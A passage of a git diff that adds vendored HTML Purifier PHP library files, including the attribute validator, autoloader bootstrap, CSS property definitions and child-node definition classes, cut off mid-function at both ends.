+ $this->info['LAlign'] = self::makeEnum('top,bottom,left,right');
+ $this->info['FrameTarget'] = new HTMLPurifier_AttrDef_HTML_FrameTarget();
+
+ // unimplemented aliases
+ $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text();
+ $this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text();
+ $this->info['Charsets'] = new HTMLPurifier_AttrDef_Text();
+ $this->info['Character'] = new HTMLPurifier_AttrDef_Text();
+
+ // "proprietary" types
+ $this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class();
+
+ // number is really a positive integer (one or more digits)
+ // FIXME: ^^ not always, see start and value of list items
+ $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true);
+ }
+
+ private static function makeEnum($in)
+ {
+ return new HTMLPurifier_AttrDef_Clone(new HTMLPurifier_AttrDef_Enum(explode(',', $in)));
+ }
+
+ /**
+ * Retrieves a type
+ * @param string $type String type name
+ * @return HTMLPurifier_AttrDef Object AttrDef for type
+ */
+ public function get($type)
+ {
+ // determine if there is any extra info tacked on
+ if (strpos($type, '#') !== false) {
+ list($type, $string) = explode('#', $type, 2);
+ } else {
+ $string = '';
+ }
+
+ if (!isset($this->info[$type])) {
+ trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR);
+ return;
+ }
+ return $this->info[$type]->make($string);
+ }
+
+ /**
+ * Sets a new implementation for a type
+ * @param string $type String type name
+ * @param HTMLPurifier_AttrDef $impl Object AttrDef for type
+ */
+ public function set($type, $impl)
+ {
+ $this->info[$type] = $impl;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php
new file mode 100644
index 000000000..f97dc93ed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php
@@ -0,0 +1,178 @@
+<?php
+
+/**
+ * Validates the attributes of a token. Doesn't manage required attributes
+ * very well. The only reason we factored this out was because RemoveForeignElements
+ * also needed it besides ValidateAttributes.
+ */
+class HTMLPurifier_AttrValidator
+{
+
+ /**
+ * Validates the attributes of a token, mutating it as necessary.
+ * that has valid tokens
+ * @param HTMLPurifier_Token $token Token to validate.
+ * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
+ * @param HTMLPurifier_Context $context Instance of HTMLPurifier_Context
+ */
+ public function validateToken($token, $config, $context)
+ {
+ $definition = $config->getHTMLDefinition();
+ $e =& $context->get('ErrorCollector', true);
+
+ // initialize IDAccumulator if necessary
+ $ok =& $context->get('IDAccumulator', true);
+ if (!$ok) {
+ $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context);
+ $context->register('IDAccumulator', $id_accumulator);
+ }
+
+ // initialize CurrentToken if necessary
+ $current_token =& $context->get('CurrentToken', true);
+ if (!$current_token) {
+ $context->register('CurrentToken', $token);
+ }
+
+ if (!$token instanceof HTMLPurifier_Token_Start &&
+ !$token instanceof HTMLPurifier_Token_Empty
+ ) {
+ return;
+ }
+
+ // create alias to global definition array, see also $defs
+ // DEFINITION CALL
+ $d_defs = $definition->info_global_attr;
+
+ // don't update token until the very end, to ensure an atomic update
+ $attr = $token->attr;
+
+ // do global transformations (pre)
+ // nothing currently utilizes this
+ foreach ($definition->info_attr_transform_pre as $transform) {
+ $attr = $transform->transform($o = $attr, $config, $context);
+ if ($e) {
+ if ($attr != $o) {
+ $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
+ }
+ }
+ }
+
+ // do local transformations only applicable to this element (pre)
+ // ex. <p align="right"> to <p style="text-align:right;">
+ foreach ($definition->info[$token->name]->attr_transform_pre as $transform) {
+ $attr = $transform->transform($o = $attr, $config, $context);
+ if ($e) {
+ if ($attr != $o) {
+ $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
+ }
+ }
+ }
+
+ // create alias to this element's attribute definition array, see
+ // also $d_defs (global attribute definition array)
+ // DEFINITION CALL
+ $defs = $definition->info[$token->name]->attr;
+
+ $attr_key = false;
+ $context->register('CurrentAttr', $attr_key);
+
+ // iterate through all the attribute keypairs
+ // Watch out for name collisions: $key has previously been used
+ foreach ($attr as $attr_key => $value) {
+
+ // call the definition
+ if (isset($defs[$attr_key])) {
+ // there is a local definition defined
+ if ($defs[$attr_key] === false) {
+ // We've explicitly been told not to allow this element.
+ // This is usually when there's a global definition
+ // that must be overridden.
+ // Theoretically speaking, we could have a
+ // AttrDef_DenyAll, but this is faster!
+ $result = false;
+ } else {
+ // validate according to the element's definition
+ $result = $defs[$attr_key]->validate(
+ $value,
+ $config,
+ $context
+ );
+ }
+ } elseif (isset($d_defs[$attr_key])) {
+ // there is a global definition defined, validate according
+ // to the global definition
+ $result = $d_defs[$attr_key]->validate(
+ $value,
+ $config,
+ $context
+ );
+ } else {
+ // system never heard of the attribute? DELETE!
+ $result = false;
+ }
+
+ // put the results into effect
+ if ($result === false || $result === null) {
+ // this is a generic error message that should replaced
+ // with more specific ones when possible
+ if ($e) {
+ $e->send(E_ERROR, 'AttrValidator: Attribute removed');
+ }
+
+ // remove the attribute
+ unset($attr[$attr_key]);
+ } elseif (is_string($result)) {
+ // generally, if a substitution is happening, there
+ // was some sort of implicit correction going on. We'll
+ // delegate it to the attribute classes to say exactly what.
+
+ // simple substitution
+ $attr[$attr_key] = $result;
+ } else {
+ // nothing happens
+ }
+
+ // we'd also want slightly more complicated substitution
+ // involving an array as the return value,
+ // although we're not sure how colliding attributes would
+ // resolve (certain ones would be completely overriden,
+ // others would prepend themselves).
+ }
+
+ $context->destroy('CurrentAttr');
+
+ // post transforms
+
+ // global (error reporting untested)
+ foreach ($definition->info_attr_transform_post as $transform) {
+ $attr = $transform->transform($o = $attr, $config, $context);
+ if ($e) {
+ if ($attr != $o) {
+ $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
+ }
+ }
+ }
+
+ // local (error reporting untested)
+ foreach ($definition->info[$token->name]->attr_transform_post as $transform) {
+ $attr = $transform->transform($o = $attr, $config, $context);
+ if ($e) {
+ if ($attr != $o) {
+ $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
+ }
+ }
+ }
+
+ $token->attr = $attr;
+
+ // destroy CurrentToken if we made it ourselves
+ if (!$current_token) {
+ $context->destroy('CurrentToken');
+ }
+
+ }
+
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php
new file mode 100644
index 000000000..707122bb2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php
@@ -0,0 +1,124 @@
+<?php
+
+// constants are slow, so we use as few as possible
+if (!defined('HTMLPURIFIER_PREFIX')) {
+ define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));
+}
+
+// accomodations for versions earlier than 5.0.2
+// borrowed from PHP_Compat, LGPL licensed, by Aidan Lister <aidan@php.net>
+if (!defined('PHP_EOL')) {
+ switch (strtoupper(substr(PHP_OS, 0, 3))) {
+ case 'WIN':
+ define('PHP_EOL', "\r\n");
+ break;
+ case 'DAR':
+ define('PHP_EOL', "\r");
+ break;
+ default:
+ define('PHP_EOL', "\n");
+ }
+}
+
+/**
+ * Bootstrap class that contains meta-functionality for HTML Purifier such as
+ * the autoload function.
+ *
+ * @note
+ * This class may be used without any other files from HTML Purifier.
+ */
+class HTMLPurifier_Bootstrap
+{
+
+ /**
+ * Autoload function for HTML Purifier
+ * @param string $class Class to load
+ * @return bool
+ */
+ public static function autoload($class)
+ {
+ $file = HTMLPurifier_Bootstrap::getPath($class);
+ if (!$file) {
+ return false;
+ }
+ // Technically speaking, it should be ok and more efficient to
+ // just do 'require', but Antonio Parraga reports that with
+ // Zend extensions such as Zend debugger and APC, this invariant
+ // may be broken. Since we have efficient alternatives, pay
+ // the cost here and avoid the bug.
+ require_once HTMLPURIFIER_PREFIX . '/' . $file;
+ return true;
+ }
+
+ /**
+ * Returns the path for a specific class.
+ * @param string $class Class path to get
+ * @return string
+ */
+ public static function getPath($class)
+ {
+ if (strncmp('HTMLPurifier', $class, 12) !== 0) {
+ return false;
+ }
+ // Custom implementations
+ if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) {
+ $code = str_replace('_', '-', substr($class, 22));
+ $file = 'HTMLPurifier/Language/classes/' . $code . '.php';
+ } else {
+ $file = str_replace('_', '/', $class) . '.php';
+ }
+ if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) {
+ return false;
+ }
+ return $file;
+ }
+
+ /**
+ * "Pre-registers" our autoloader on the SPL stack.
+ */
+ public static function registerAutoload()
+ {
+ $autoload = array('HTMLPurifier_Bootstrap', 'autoload');
+ if (($funcs = spl_autoload_functions()) === false) {
+ spl_autoload_register($autoload);
+ } elseif (function_exists('spl_autoload_unregister')) {
+ if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
+ // prepend flag exists, no need for shenanigans
+ spl_autoload_register($autoload, true, true);
+ } else {
+ $buggy = version_compare(PHP_VERSION, '5.2.11', '<');
+ $compat = version_compare(PHP_VERSION, '5.1.2', '<=') &&
+ version_compare(PHP_VERSION, '5.1.0', '>=');
+ foreach ($funcs as $func) {
+ if ($buggy && is_array($func)) {
+ // :TRICKY: There are some compatibility issues and some
+ // places where we need to error out
+ $reflector = new ReflectionMethod($func[0], $func[1]);
+ if (!$reflector->isStatic()) {
+ throw new Exception(
+ 'HTML Purifier autoloader registrar is not compatible
+ with non-static object methods due to PHP Bug #44144;
+ Please do not use HTMLPurifier.autoload.php (or any
+ file that includes this file); instead, place the code:
+ spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\'))
+ after your own autoloaders.'
+ );
+ }
+ // Suprisingly, spl_autoload_register supports the
+ // Class::staticMethod callback format, although call_user_func doesn't
+ if ($compat) {
+ $func = implode('::', $func);
+ }
+ }
+ spl_autoload_unregister($func);
+ }
+ spl_autoload_register($autoload);
+ foreach ($funcs as $func) {
+ spl_autoload_register($func);
+ }
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php
new file mode 100644
index 000000000..0acdee2d9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php
@@ -0,0 +1,474 @@
+<?php
+
+/**
+ * Defines allowed CSS attributes and what their values are.
+ * @see HTMLPurifier_HTMLDefinition
+ */
+class HTMLPurifier_CSSDefinition extends HTMLPurifier_Definition
+{
+
+ public $type = 'CSS';
+
+ /**
+ * Assoc array of attribute name to definition object.
+ * @type HTMLPurifier_AttrDef[]
+ */
+ public $info = array();
+
+ /**
+ * Constructs the info array. The meat of this class.
+ * @param HTMLPurifier_Config $config
+ */
+ protected function doSetup($config)
+ {
+ $this->info['text-align'] = new HTMLPurifier_AttrDef_Enum(
+ array('left', 'right', 'center', 'justify'),
+ false
+ );
+
+ $border_style =
+ $this->info['border-bottom-style'] =
+ $this->info['border-right-style'] =
+ $this->info['border-left-style'] =
+ $this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'none',
+ 'hidden',
+ 'dotted',
+ 'dashed',
+ 'solid',
+ 'double',
+ 'groove',
+ 'ridge',
+ 'inset',
+ 'outset'
+ ),
+ false
+ );
+
+ $this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style);
+
+ $this->info['clear'] = new HTMLPurifier_AttrDef_Enum(
+ array('none', 'left', 'right', 'both'),
+ false
+ );
+ $this->info['float'] = new HTMLPurifier_AttrDef_Enum(
+ array('none', 'left', 'right'),
+ false
+ );
+ $this->info['font-style'] = new HTMLPurifier_AttrDef_Enum(
+ array('normal', 'italic', 'oblique'),
+ false
+ );
+ $this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum(
+ array('normal', 'small-caps'),
+ false
+ );
+
+ $uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('none')),
+ new HTMLPurifier_AttrDef_CSS_URI()
+ )
+ );
+
+ $this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum(
+ array('inside', 'outside'),
+ false
+ );
+ $this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'disc',
+ 'circle',
+ 'square',
+ 'decimal',
+ 'lower-roman',
+ 'upper-roman',
+ 'lower-alpha',
+ 'upper-alpha',
+ 'none'
+ ),
+ false
+ );
+ $this->info['list-style-image'] = $uri_or_none;
+
+ $this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config);
+
+ $this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum(
+ array('capitalize', 'uppercase', 'lowercase', 'none'),
+ false
+ );
+ $this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color();
+
+ $this->info['background-image'] = $uri_or_none;
+ $this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum(
+ array('repeat', 'repeat-x', 'repeat-y', 'no-repeat')
+ );
+ $this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum(
+ array('scroll', 'fixed')
+ );
+ $this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition();
+
+ $border_color =
+ $this->info['border-top-color'] =
+ $this->info['border-bottom-color'] =
+ $this->info['border-left-color'] =
+ $this->info['border-right-color'] =
+ $this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('transparent')),
+ new HTMLPurifier_AttrDef_CSS_Color()
+ )
+ );
+
+ $this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config);
+
+ $this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color);
+
+ $border_width =
+ $this->info['border-top-width'] =
+ $this->info['border-bottom-width'] =
+ $this->info['border-left-width'] =
+ $this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')),
+ new HTMLPurifier_AttrDef_CSS_Length('0') //disallow negative
+ )
+ );
+
+ $this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width);
+
+ $this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('normal')),
+ new HTMLPurifier_AttrDef_CSS_Length()
+ )
+ );
+
+ $this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('normal')),
+ new HTMLPurifier_AttrDef_CSS_Length()
+ )
+ );
+
+ $this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'xx-small',
+ 'x-small',
+ 'small',
+ 'medium',
+ 'large',
+ 'x-large',
+ 'xx-large',
+ 'larger',
+ 'smaller'
+ )
+ ),
+ new HTMLPurifier_AttrDef_CSS_Percentage(),
+ new HTMLPurifier_AttrDef_CSS_Length()
+ )
+ );
+
+ $this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(array('normal')),
+ new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives
+ new HTMLPurifier_AttrDef_CSS_Length('0'),
+ new HTMLPurifier_AttrDef_CSS_Percentage(true)
+ )
+ );
+
+ $margin =
+ $this->info['margin-top'] =
+ $this->info['margin-bottom'] =
+ $this->info['margin-left'] =
+ $this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length(),
+ new HTMLPurifier_AttrDef_CSS_Percentage(),
+ new HTMLPurifier_AttrDef_Enum(array('auto'))
+ )
+ );
+
+ $this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin);
+
+ // non-negative
+ $padding =
+ $this->info['padding-top'] =
+ $this->info['padding-bottom'] =
+ $this->info['padding-left'] =
+ $this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length('0'),
+ new HTMLPurifier_AttrDef_CSS_Percentage(true)
+ )
+ );
+
+ $this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding);
+
+ $this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length(),
+ new HTMLPurifier_AttrDef_CSS_Percentage()
+ )
+ );
+
+ $trusted_wh = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length('0'),
+ new HTMLPurifier_AttrDef_CSS_Percentage(true),
+ new HTMLPurifier_AttrDef_Enum(array('auto'))
+ )
+ );
+ $max = $config->get('CSS.MaxImgLength');
+
+ $this->info['width'] =
+ $this->info['height'] =
+ $max === null ?
+ $trusted_wh :
+ new HTMLPurifier_AttrDef_Switch(
+ 'img',
+ // For img tags:
+ new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length('0', $max),
+ new HTMLPurifier_AttrDef_Enum(array('auto'))
+ )
+ ),
+ // For everyone else:
+ $trusted_wh
+ );
+
+ $this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration();
+
+ $this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily();
+
+ // this could use specialized code
+ $this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'normal',
+ 'bold',
+ 'bolder',
+ 'lighter',
+ '100',
+ '200',
+ '300',
+ '400',
+ '500',
+ '600',
+ '700',
+ '800',
+ '900'
+ ),
+ false
+ );
+
+ // MUST be called after other font properties, as it references
+ // a CSSDefinition object
+ $this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config);
+
+ // same here
+ $this->info['border'] =
+ $this->info['border-bottom'] =
+ $this->info['border-top'] =
+ $this->info['border-left'] =
+ $this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config);
+
+ $this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum(
+ array('collapse', 'separate')
+ );
+
+ $this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum(
+ array('top', 'bottom')
+ );
+
+ $this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum(
+ array('auto', 'fixed')
+ );
+
+ $this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'baseline',
+ 'sub',
+ 'super',
+ 'top',
+ 'text-top',
+ 'middle',
+ 'bottom',
+ 'text-bottom'
+ )
+ ),
+ new HTMLPurifier_AttrDef_CSS_Length(),
+ new HTMLPurifier_AttrDef_CSS_Percentage()
+ )
+ );
+
+ $this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2);
+
+ // These CSS properties don't work on many browsers, but we live
+ // in THE FUTURE!
+ $this->info['white-space'] = new HTMLPurifier_AttrDef_Enum(
+ array('nowrap', 'normal', 'pre', 'pre-wrap', 'pre-line')
+ );
+
+ if ($config->get('CSS.Proprietary')) {
+ $this->doSetupProprietary($config);
+ }
+
+ if ($config->get('CSS.AllowTricky')) {
+ $this->doSetupTricky($config);
+ }
+
+ if ($config->get('CSS.Trusted')) {
+ $this->doSetupTrusted($config);
+ }
+
+ $allow_important = $config->get('CSS.AllowImportant');
+ // wrap all attr-defs with decorator that handles !important
+ foreach ($this->info as $k => $v) {
+ $this->info[$k] = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($v, $allow_important);
+ }
+
+ $this->setupConfigStuff($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ protected function doSetupProprietary($config)
+ {
+ // Internet Explorer only scrollbar colors
+ $this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+ $this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+ $this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+ $this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+ $this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+ $this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color();
+
+ // technically not proprietary, but CSS3, and no one supports it
+ $this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
+ $this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
+ $this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue();
+
+ // only opacity, for now
+ $this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter();
+
+ // more CSS3
+ $this->info['page-break-after'] =
+ $this->info['page-break-before'] = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'auto',
+ 'always',
+ 'avoid',
+ 'left',
+ 'right'
+ )
+ );
+ $this->info['page-break-inside'] = new HTMLPurifier_AttrDef_Enum(array('auto', 'avoid'));
+
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ protected function doSetupTricky($config)
+ {
+ $this->info['display'] = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'inline',
+ 'block',
+ 'list-item',
+ 'run-in',
+ 'compact',
+ 'marker',
+ 'table',
+ 'inline-block',
+ 'inline-table',
+ 'table-row-group',
+ 'table-header-group',
+ 'table-footer-group',
+ 'table-row',
+ 'table-column-group',
+ 'table-column',
+ 'table-cell',
+ 'table-caption',
+ 'none'
+ )
+ );
+ $this->info['visibility'] = new HTMLPurifier_AttrDef_Enum(
+ array('visible', 'hidden', 'collapse')
+ );
+ $this->info['overflow'] = new HTMLPurifier_AttrDef_Enum(array('visible', 'hidden', 'auto', 'scroll'));
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ protected function doSetupTrusted($config)
+ {
+ $this->info['position'] = new HTMLPurifier_AttrDef_Enum(
+ array('static', 'relative', 'absolute', 'fixed')
+ );
+ $this->info['top'] =
+ $this->info['left'] =
+ $this->info['right'] =
+ $this->info['bottom'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_CSS_Length(),
+ new HTMLPurifier_AttrDef_CSS_Percentage(),
+ new HTMLPurifier_AttrDef_Enum(array('auto')),
+ )
+ );
+ $this->info['z-index'] = new HTMLPurifier_AttrDef_CSS_Composite(
+ array(
+ new HTMLPurifier_AttrDef_Integer(),
+ new HTMLPurifier_AttrDef_Enum(array('auto')),
+ )
+ );
+ }
+
+ /**
+ * Performs extra config-based processing. Based off of
+ * HTMLPurifier_HTMLDefinition.
+ * @param HTMLPurifier_Config $config
+ * @todo Refactor duplicate elements into common class (probably using
+ * composition, not inheritance).
+ */
+ protected function setupConfigStuff($config)
+ {
+ // setup allowed elements
+ $support = "(for information on implementing this, see the " .
+ "support forums) ";
+ $allowed_properties = $config->get('CSS.AllowedProperties');
+ if ($allowed_properties !== null) {
+ foreach ($this->info as $name => $d) {
+ if (!isset($allowed_properties[$name])) {
+ unset($this->info[$name]);
+ }
+ unset($allowed_properties[$name]);
+ }
+ // emit errors
+ foreach ($allowed_properties as $name => $d) {
+ // :TODO: Is this htmlspecialchars() call really necessary?
+ $name = htmlspecialchars($name);
+ trigger_error("Style attribute '$name' is not supported $support", E_USER_WARNING);
+ }
+ }
+
+ $forbidden_properties = $config->get('CSS.ForbiddenProperties');
+ if ($forbidden_properties !== null) {
+ foreach ($this->info as $name => $d) {
+ if (isset($forbidden_properties[$name])) {
+ unset($this->info[$name]);
+ }
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php
new file mode 100644
index 000000000..8eb17b82e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Defines allowed child nodes and validates nodes against it.
+ */
+abstract class HTMLPurifier_ChildDef
+{
+ /**
+ * Type of child definition, usually right-most part of class name lowercase.
+ * Used occasionally in terms of context.
+ * @type string
+ */
+ public $type;
+
+ /**
+ * Indicates whether or not an empty array of children is okay.
+ *
+ * This is necessary for redundant checking when changes affecting
+ * a child node may cause a parent node to now be disallowed.
+ * @type bool
+ */
+ public $allow_empty;
+
+ /**
+ * Lookup array of all elements that this definition could possibly allow.
+ * @type array
+ */
+ public $elements = array();
+
+ /**
+ * Get lookup of tag names that should not close this element automatically.
+ * All other elements will do so.
+ * @param HTMLPurifier_Config $config HTMLPurifier_Config object
+ * @return array
+ */
+ public function getAllowedElements($config)
+ {
+ return $this->elements;
+ }
+
+ /**
+ * Validates nodes according to definition and returns modification.
+ *
+ * @param HTMLPurifier_Node[] $children Array of HTMLPurifier_Node
+ * @param HTMLPurifier_Config $config HTMLPurifier_Config object
+ * @param HTMLPurifier_Context $context HTMLPurifier_Context object
+ * @return bool|array true to leave nodes as is, false to remove parent node, array of replacement children
+ */
+ abstract public function validateChildren($children, $config, $context);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php
new file mode 100644
index 000000000..7439be26b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Definition that uses different definitions depending on context.
+ *
+ * The del and ins tags are notable because they allow different types of
+ * elements depending on whether or not they're in a block or inline context.
+ * Chameleon allows this behavior to happen by using two different
+ * definitions depending on context. While this somewhat generalized,
+ * it is specifically intended for those two tags.
+ */
+class HTMLPurifier_ChildDef_Chameleon extends HTMLPurifier_ChildDef
+{
+
+ /**
+ * Instance of the definition object to use when inline. Usually stricter.
+ * @type HTMLPurifier_ChildDef_Optional
+ */
+ public $inline;
+
+ /**
+ * Instance of the definition object to use when block.
+ * @type HTMLPurifier_ChildDef_Optional
+ */
+ public $block;
+
+ /**
+ * @type string
+ */
+ public $type = 'chameleon';
+
+ /**
+ * @param array $inline List of elements to allow when inline.
+ * @param array $block List of elements to allow when block.
+ */
+ public function __construct($inline, $block)
+ {
+ $this->inline = new HTMLPurifier_ChildDef_Optional($inline);
+ $this->block = new HTMLPurifier_ChildDef_Optional($block);
+ $this->elements = $this->block->elements;
+ }
+
+ /**
+ * @param HTMLPurifier_Node[] $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ if ($context->get('IsInline') === false) {
+ return $this->block->validateChildren(
+ $children,
+ $config,
+ $context
+ );
+ } else {
+ return $this->inline->validateChildren(
+ $children,
+ $config,
+ $context
+ );
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php
new file mode 100644
index 000000000..128132e96
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php
@@ -0,0 +1,102 @@
+<?php
+
+/**
+ * Custom validation class, accepts DTD child definitions
+ *
+ * @warning Currently this class is an all or nothing proposition, that is,
+ * it will only give a bool return value.
+ */
+class HTMLPurifier_ChildDef_Custom extends HTMLPurifier_ChildDef
+{
+ /**
+ * @type string
+ */
+ public $type = 'custom';
+
+ /**
+ * @type bool
+ */
+ public $allow_empty = false;
+
+ /**
+ * Allowed child pattern as defined by the DTD.
+ * @type string
+ */
+ public $dtd_regex;
+
+ /**
+ * PCRE regex derived from $dtd_regex.
+ * @type string
+ */
+ private $_pcre_regex;
+
+ /**
+ * @param $dtd_regex Allowed child pattern from the DTD
+ */
+ public function __construct($dtd_regex)
+ {
+ $this->dtd_regex = $dtd_regex;
+ $this->_compileRegex();
+ }
+
+ /**
+ * Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex)
+ */
+ protected function _compileRegex()
+ {
+ $raw = str_replace(' ', '', $this->dtd_regex);
+ if ($raw{0} != '(') {
+ $raw = "($raw)";
+ }
+ $el = '[#a-zA-Z0-9_.-]+';
+ $reg = $raw;
+
+ // COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M
+ // DOING! Seriously: if there's problems, please report them.
+
+ // collect all elements into the $elements array
+ preg_match_all("/$el/", $reg, $matches);
+ foreach ($matches[0] as $match) {
+ $this->elements[$match] = true;
+ }
+
+ // setup all elements as parentheticals with leading commas
+ $reg = preg_replace("/$el/", '(,\\0)', $reg);
+
+ // remove commas when they were not solicited
+ $reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg);
+
+ // remove all non-paranthetical commas: they are handled by first regex
+ $reg = preg_replace("/,\(/", '(', $reg);
+
+ $this->_pcre_regex = $reg;
+ }
+
+ /**
+ * @param HTMLPurifier_Node[] $children
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function validateChildren($children, $config, $context)
+ {
+ $list_of_children = '';
+ $nesting = 0; // depth into the nest
